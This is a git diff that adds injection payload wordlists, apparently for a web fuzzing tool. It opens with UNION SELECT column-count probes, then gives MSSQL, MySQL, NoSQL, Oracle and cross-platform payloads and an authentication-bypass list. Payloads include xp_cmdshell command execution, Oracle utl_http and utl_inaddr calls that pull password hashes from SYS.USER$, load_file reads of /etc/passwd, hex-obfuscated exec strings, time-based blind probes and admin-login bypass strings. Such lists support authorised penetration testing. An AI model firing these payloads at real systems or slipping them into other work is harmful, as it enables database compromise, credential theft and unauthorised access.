'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 + UNION ALL SELECT 'INJ'||'ECT'||'XXX'-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- + UNION ALL SELECT 'INJ'||'ECT'||'XXX'# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# + UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# diff --git a/Intruder/detect/MSSQL/MSSQL.txt b/Intruder/detect/MSSQL/MSSQL.txt new file mode 100644 index 0000000..817aa90 --- /dev/null +++ b/Intruder/detect/MSSQL/MSSQL.txt @@ -0,0 +1,12 @@ +; -- +'; -- +'); -- +'; exec master..xp_cmdshell 'ping 10.10.1.2'-- +' grant connect to name; grant resource to name; -- +' or 1=1 -- +' union (select @@version) -- +' union (select NULL, (select @@version)) -- +' union (select NULL, NULL, (select @@version)) -- +' union (select NULL, NULL, NULL, (select @@version)) -- +' union (select NULL, NULL, NULL, NULL, (select @@version)) -- +' union (select NULL, NULL, NULL, NULL, NULL, (select @@version)) -- diff --git a/Intruder/detect/MSSQL/MSSQL_blind.txt b/Intruder/detect/MSSQL/MSSQL_blind.txt new file mode 100644 index 0000000..270283d --- /dev/null +++ b/Intruder/detect/MSSQL/MSSQL_blind.txt @@ -0,0 +1,8 @@ +'; if not(substring((select @@version),25,1) <> 0) waitfor delay '0:0:2' -- +'; if not(substring((select @@version),25,1) <> 5) waitfor delay '0:0:2' -- +'; if not(substring((select @@version),25,1) <> 8) waitfor delay '0:0:2' -- +'; if not(substring((select @@version),24,1) <> 1) waitfor delay '0:0:2' -- +'; if not(select system_user) <> 'sa' waitfor delay '0:0:2' -- +'; if is_srvrolemember('sysadmin') > 0 waitfor delay '0:0:2' -- +'; if not((select serverproperty('isintegratedsecurityonly')) <> 1) waitfor delay '0:0:2' -- +'; if not((select serverproperty('isintegratedsecurityonly')) <> 0) waitfor delay '0:0:2' -- diff --git a/Intruder/detect/MySQL/MySQL.txt b/Intruder/detect/MySQL/MySQL.txt new file mode 100644 index 0000000..8f59858 --- /dev/null +++ b/Intruder/detect/MySQL/MySQL.txt @@ -0,0 +1,9 @@ +1'1 +1 exec sp_ (or exec xp_) +1 and 1=1 +1' and 1=(select count(*) from tablenames); -- +1 or 1=1 +1' or '1'='1 +1or1=1 +1'or'1'='1 +fake@ema'or'il.nl'='il.nl diff --git a/Intruder/detect/MySQL/MySQL_MSSQL.txt b/Intruder/detect/MySQL/MySQL_MSSQL.txt new file mode 100644 index 0000000..9422961 --- /dev/null +++ b/Intruder/detect/MySQL/MySQL_MSSQL.txt @@ -0,0 +1,10 @@ +1 +1 and user_name() = 'dbo' +\'; desc users; -- +1\'1 +1' and non_existant_table = '1 +' or username is not NULL or username = ' +1 and ascii(lower(substring((select top 1 name from sysobjects where xtype='u'), 1, 1))) > 116 +1 union all select 1,2,3,4,5,6,name from sysobjects where xtype = 'u' -- +1 uni/**/on select all from where + diff --git a/Intruder/detect/NoSQL/no-sql.txt b/Intruder/detect/NoSQL/no-sql.txt new file mode 100644 index 0000000..fe0bed5 --- /dev/null +++ b/Intruder/detect/NoSQL/no-sql.txt @@ -0,0 +1,21 @@ +true, $where: '1 == 1' +, $where: '1 == 1' +$where: '1 == 1' +', $where: '1 == 1' +1, $where: '1 == 1' +{ $ne: 1 } +', $or: [ {}, { 'a':'a +' } ], $comment:'successful MongoDB injection' +db.injection.insert({success:1}); +db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1 +|| 1==1 +' && this.password.match(/.*/)//+%00 +' && this.passwordzz.match(/.*/)//+%00 +'%20%26%26%20this.password.match(/.*/)//+%00 +'%20%26%26%20this.passwordzz.match(/.*/)//+%00 +{$gt: ''} +[$ne]=1 +';sleep(5000); +';sleep(5000);' +';sleep(5000);+' +';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000); \ No newline at end of file diff --git a/Intruder/detect/Oracle/oracle.txt b/Intruder/detect/Oracle/oracle.txt new file mode 100644 index 0000000..3d9198d --- /dev/null +++ b/Intruder/detect/Oracle/oracle.txt @@ -0,0 +1,55 @@ +’ or ‘1’=’1 +' or '1'='1 +'||utl_http.request('httP://192.168.1.1/')||' +' || myappadmin.adduser('admin', 'newpass') || ' +' AND 1=utl_inaddr.get_host_address((SELECT banner FROM v$version WHERE ROWNUM=1)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT SYS.LOGIN_USER FROM DUAL)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT SYS.DATABASE_NAME FROM DUAL)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT host_name FROM v$instance)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(table_name)) FROM sys.all_tables)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(column_name)) FROM sys.all_tab_columns)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=1)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=1)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=1)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=1)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=2)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=2)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=2)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=2)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=2)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=3)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=3)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=3)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=3)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=3)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=4)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=4)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=4)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=4)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=4)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=5)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=5)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=5)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=5)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=5)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=6)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=6)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=6)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=6)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=6)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=7)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=7)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=7)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=7)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=7)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=8)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=8)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=8)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=8)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=8)) AND 'i'='i + diff --git a/Intruder/detect/xPlatform/xplatform.txt b/Intruder/detect/xPlatform/xplatform.txt new file mode 100644 index 0000000..1e23c5c --- /dev/null +++ b/Intruder/detect/xPlatform/xplatform.txt @@ -0,0 +1,193 @@ +<>"'%;)(&+ +| +! +? +/ +// +//* +' +' -- +( +) +*| +*/* +& +0 +031003000270000 +0 or 1=1 +0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q) +0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A +0x77616974666F722064656C61792027303A303A31302700 exec(@s) +1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1; +1 or 1=1 +1;SELECT%20* +1 waitfor delay '0:0:10'-- +'%20or%20''=' +'%20or%201=1 +')%20or%20('x'='x +'%20or%20'x'='x +%20or%20x=x +%20'sleep%2050' +%20$(sleep%2050) +%21 +23 OR 1=1 +%26 +%27%20or%201=1 +%28 +%29 +%2A%28%7C%28mail%3D%2A%29%29 +%2A%28%7C%28objectclass%3D%2A%29%29 +%2A%7C +||6 +'||'6 +(||6) +%7C +a' +admin' or ' +' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0)); +' and 1 in (select var from temp)-- +anything' OR 'x'='x +"a"" or 1=1--" +a' or 1=1-- +"a"" or 3=3--" +a' or 3=3-- +a' or 'a' = 'a +'%20OR +as +asc +a' waitfor delay '0:0:10'-- +'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > +bfilename +char%4039%41%2b%40SELECT +declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q) +declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A0031003000270000 exec(@q) +declare @q nvarchar (4000) select @q = +declare @s varchar (200) select @s = 0x73656c65637420404076657273696f6e exec(@s) +declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s) +declare @s varchar(22) select @s = +declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e +delete +desc +distinct +'||(elt(-3+5,bin(15),ord(10),hex(char(45)))) +'; exec master..xp_cmdshell +'; exec master..xp_cmdshell 'ping 172.10.1.255'-- +exec(@s) +'; exec ('sel' + 'ect us' + 'er') +exec sp +'; execute immediate 'sel' || 'ect us' || 'er' +exec xp +'; exec xp_regread +' group by userid having 1=1-- +handler +having +' having 1=1-- +hi or 1=1 --" +hi' or 1=1 -- +"hi"") or (""a""=""a" +hi or a=a +hi' or 'a'='a +hi') or ('a'='a +'hi' or 'x'='x'; +insert +like +limit +*(|(mail=*)) +*(|(objectclass=*)) +or +' or ''=' + or 0=0 #" +' or 0=0 -- +' or 0=0 # +" or 0=0 -- +or 0=0 -- +or 0=0 # +' or 1 --' +' or 1/* +; or '1'='1' +' or '1'='1 +' or '1'='1'-- +' or 1=1 +' or 1=1 /* +' or 1=1-- +' or 1=1-- +'/**/or/**/1/**/=/**/1 +‘ or 1=1 -- +" or 1=1-- +or 1=1 +or 1=1-- + or 1=1 or ""= +' or 1=1 or ''=' +' or 1 in (select @@version)-- +or%201=1 +or%201=1 -- +' or 2 > 1 +' or 2 between 1 and 3 +' or 3=3 +‘ or 3=3 -- +' or '7659'='7659 + or a=a + or a = a +' or 'a'='a +' or a=a-- +') or ('a'='a +" or "a"="a +) or (a=a +order by +' or (EXISTS) + or isNULL(1/0) /* +" or isNULL(1/0) /* +' or 'something' like 'some%' +' or 'something' = 'some'+'thing' +' or 'text' = n'text' +' or 'text' > 't' +' or uid like '% +' or uname like '% +' or 'unusual' = 'unusual' +' or userid like '% +' or user like '% +' or username like '% +' or username like char(37); +' or 'whatever' in ('whatever') +' -- &password= +password:*/=1-- +PRINT +PRINT @@variable +procedure +replace +select +' select * from information_schema.tables-- +' select name from syscolumns where id = (select id from sysobjects where name = tablename')-- +' (select top 1 +--sp_password +'sqlattempt1 +(sqlattempt2) +'sqlvuln +'+sqlvuln +(sqlvuln) +sqlvuln; +t'exec master..xp_cmdshell 'nslookup www.google.com'-- +to_timestamp_tz +truncate +tz_offset +' UNION ALL SELECT +' union all select @@version-- +' union select +uni/**/on sel/**/ect +' UNION SELECT +' union select 1,load_file('/etc/passwd'),1,1,1; +) union select * from information_schema.tables; +' union select * from users where login = char(114,111,111,116); +update +'||UTL_HTTP.REQUEST +,@variable +@variable +@var select @var as var into temp end -- +\x27UNION SELECT +x' AND 1=(SELECT COUNT(*) FROM tabname); -- +x' AND email IS NULL; -- +x' AND members.email IS NULL; -- +x' AND userid IS NULL; -- +x' or 1=1 or 'x'='y +x' OR full_name LIKE '%Bob% +ý or 1=1 -- diff --git a/Intruder/exploit/Auth_Bypass.txt b/Intruder/exploit/Auth_Bypass.txt new file mode 100644 index 0000000..2e6a06a --- /dev/null +++ b/Intruder/exploit/Auth_Bypass.txt @@ -0,0 +1,198 @@ +'-' +' ' +'&' +'^' +'*' +' or ''-' +' or '' ' +' or ''&' +' or ''^' +' or ''*' +"-" +" " +"&" +"^" +"*" +" or ""-" +" or "" " +" or ""&" +" or ""^" +" or ""*" +or true-- +" or true-- +' or true-- +") or true-- +') or true-- +' or 'x'='x +') or ('x')=('x +')) or (('x'))=(('x +" or "x"="x +") or ("x")=("x +")) or (("x"))=(("x +or 1=1 +or 1=1-- +or 1=1# +or 1=1/* +admin' -- +admin' # +admin'/* +admin' or '1'='1 +admin' or '1'='1'-- +admin' or '1'='1'# +admin' or '1'='1'/* +admin'or 1=1 or ''=' +admin' or 1=1 +admin' or 1=1-- +admin' or 1=1# +admin' or 1=1/* +admin') or ('1'='1 +admin') or ('1'='1'-- +admin') or ('1'='1'# +admin') or ('1'='1'/* +admin') or '1'='1 +admin') or '1'='1'-- +admin') or '1'='1'# +admin') or '1'='1'/* +1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 +admin" -- +admin" # +admin"/* +admin" or "1"="1 +admin" or "1"="1"-- +admin" or "1"="1"# +admin" or "1"="1"/* +admin"or 1=1 or ""=" +admin" or 1=1 +admin" or 1=1-- +admin" or 1=1# +admin" or 1=1/* +admin") or ("1"="1 +admin") or ("1"="1"-- +admin") or ("1"="1"# +admin") or ("1"="1"/* +admin") or "1"="1 +admin") or "1"="1"-- +admin") or "1"="1"# +admin") or "1"="1"/* +1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055 +== += +' +' -- +' # +' – +'-- +'/* +'# +" -- +" # +"/* +' and 1='1 +' and a='a + or 1=1 + or true +' or ''=' +" or ""=" +1′) and '1′='1– +' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055 +" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055 + and 1=1 + 